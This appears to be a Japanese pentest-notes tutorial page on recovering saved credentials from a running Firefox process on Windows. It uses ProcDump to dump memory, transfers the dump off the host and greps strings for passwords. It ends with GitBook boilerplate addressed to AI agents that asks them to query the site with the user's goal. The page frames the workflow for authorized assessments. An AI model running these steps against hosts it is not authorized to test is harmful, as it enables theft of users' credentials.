> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/firefox-memory-dump-credential-recovery.md).

# Firefox メモリダンプによる認証情報回復

ProcDump でメモリを取得し、文字列を確認して認証素材を探すことで、アクティブな Firefox プロセスから保存済みの認証情報を回復する。

## Firefoxメモリダンプからの認証情報復元

このワークフローは、Firefox が Windows ホスト上で実行されている場合の許可された評価で使用します。ブラウザのメモリには、アクティブなセッションの認証情報が含まれている可能性があります。

### Firefox プロセスを特定する

実行中のプロセスを一覧表示し、Firefox のプロセス ID を確認します。

```powershell
ps
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FA1n0IQYvFJDHTKeI45Bj%2Fimage.png?alt=media&amp;token=3c1c5b27-2c9e-4bca-8999-4f564dcfc498" alt="Firefox process shown in PowerShell"><figcaption><p>実行中の Firefox プロセスとその PID を特定します。</p></figcaption></figure>

### ProcDump を入手する

Sysinternals から ProcDump をダウンロードして展開する `procdump64.exe`.

{% embed url="<https://download.sysinternals.com/files/Procdump.zip>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FK9dIEMH7NwfRv0uXzTQw%2Fimage.png?alt=media&amp;token=fc2ea817-b35e-4d5a-ac9f-648536e69d14" alt="ProcDump download"><figcaption><p>Sysinternals から ProcDump をダウンロードします。</p></figcaption></figure>

バイナリを対象ホストへ転送します。

```
upload /workspace/procdump64.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrrR4IPuXshaoDHvkE5TE%2Fimage.png?alt=media&amp;token=ae2dadfe-73ac-4f32-97ed-70ded6084c41" alt="Uploading ProcDump"><figcaption><p>ProcDump を Windows ホストへ転送します。</p></figcaption></figure>

### プロセス メモリを取得する

Firefox プロセスの完全なメモリダンプを作成します。置き換えてください `PID` を検出したプロセス ID に。

```powershell
.\procdump64.exe -accepteula -ma PID firefox_debug.dmp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj7MIwvhHL3g6e8ZAhsD3%2Fimage.png?alt=media&amp;token=6c4edb8f-4431-4ee1-87a7-a4e550af1a41" alt="Firefox memory dump created with ProcDump"><figcaption><p>Firefox プロセスの完全なダンプを作成します。</p></figcaption></figure>

### ダンプを転送して確認する

ダンプを分析ホストにダウンロードします。

```
download "C:/Users/<user>/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2ForgiFCaXh6mYpsIdnQTS%2Fimage.png?alt=media&amp;token=88dd588f-b1dd-4d87-b8cb-0d25bd7b283e" alt="Downloading Firefox memory dump"><figcaption><p>ダンプを分析ホストへ転送します。</p></figcaption></figure>

読み取り可能な文字列を抽出し、パスワード関連のパラメータで絞り込みます。

```bash
strings firefox_debug.dmp | grep -iE 'password|login|username'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIlZxA9b4YhR1qllYqwZ2%2Fimage.png?alt=media&amp;token=844b6a38-e9a0-4bed-9ea5-ceb40af9f34c" alt="Credentials found in Firefox process memory"><figcaption><p>一致した文字列を、認証情報の可能性があるか確認します。</p></figcaption></figure>

各結果を文脈の中で確認します。回収した認証情報は、スコープ内のサービスに対してのみ検証してください。

### 結果を記録する

プロセス ID、ダンプのパス、関連する証拠、および検証結果を記録します。回収したパスワードを公開メモに保存しないでください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/post-exploitation/firefox-memory-dump-credential-recovery.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
